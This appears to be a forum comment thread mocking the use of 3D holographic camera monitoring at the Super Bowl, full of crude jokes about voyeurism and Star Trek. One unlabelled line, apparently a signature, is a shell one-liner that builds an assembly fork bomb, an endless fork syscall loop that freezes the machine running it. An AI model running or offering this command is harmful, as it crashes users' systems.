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Holograms Help Protect Super Bowl
Apache4857 writes to tell us CNet is reporting that Homeland Security agents monitoring the Superbowl will be doing so in 3D. Using streams from two cameras, the LifeVision 3D system is able to project images onto a 20-inch screen that is equipped with a depth tube. This depth tube makes images appear to rise 30 inches off the screen and sink 30 inches into the screen allowing real world volumes and distances to be displayed accurately. Using this system security officials will be able to search sidewalks, monitor faces, and even peer under vehicles.
Jem and the Holograms will perform at the half-time show.
Maybe the agents just want to view the wardrobe malfunctions in 3-D.
The two-dimensional thing called offensive line protects Roethlisberger well enough. Who needs 3D?
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This is massively cool and all, but how is it helpful to peer under vehicles? You don't need 3D for that, and 3D won't help if the cameras are too high above ground... Anyway, they'll just use it to peer under skirts, like we would.
What the hell is this technology doing being deployed in a security role? The rule is : ALL COOL TECH IS DEVELOPED FOR PORN! It then trickles down into other mundane uses, like saving our lives.
Nothing is too elaborate to protect us from Janet's Terror-Boobs!
"They'll all be checking out womens cleavages anyway..." In 3D!
Curiosity killed the cat, but cats have 9 lives.
or a new niche of Up Skirts.
by TheSpoom (715771) Uncaring Linux user here. I have nothing to add to this but please continue. *munches popcorn*
Require everyone to eat a strip of bacon before they're allowed in
Narc out your roomate. I did, and I bought a Gateway FPD2185W with the reward. It has a native resolution of 1680 x 1050 pixels, an aspect Ratio: 16:10, triple video inputs: 2xComponent and one S-Video. PC Magazine described it as "a stylish 21-inch widescreen LCD that delivers better-than-average performance and lots of features". I also bought a 60GB iPod with a 2.5" 320 x 240 color TFT screen which I store all my Huey Lewis and the News mp3s on. Rolling Stone Magazine described Huey as the "misunderstood genius of American Rock".
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
A cost/benefit analysis was done and we found that this project is very wortwhile (to us)!
James Fischbach,
CEO of Intrepid Defense & Security Systems
I dont accept cameras in banks, kmart, walmart, on the interstate, or any other place. Period.
Which is why I don't patronize any of those places. And I sure as heck am not going to the superbowl.
Sir, uh, we need $150,000 for a holographic 3D TV to watch the Superbowl on. For uh, national security.
Oh yeah, and... we need $1,000 for a large order of chicken wings. Those bad guys might try to poison those. We want to be the first to know.
And some beer. No reason for that one, just thought I'd ask.
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If you really are a holographic engineer we don't need to listen to your opinion, you're just a hologram.
Like that doctor from Star Trek:Voyager
I am a holographic engineer.
Awesome! Just like the holographic doctor from Voyager.
Do you work if you get removed from engineering?
Where does the school board find them and why do they keep sending them to ME?
Yeah, like cup size.
Occam's razor is the blind faith in the natural selection of least resistance and in universal oversimplification. -- EF
Do you work if you get removed from engineering?
Well, if you take the engineering out of the engineer, what's left?
A manager!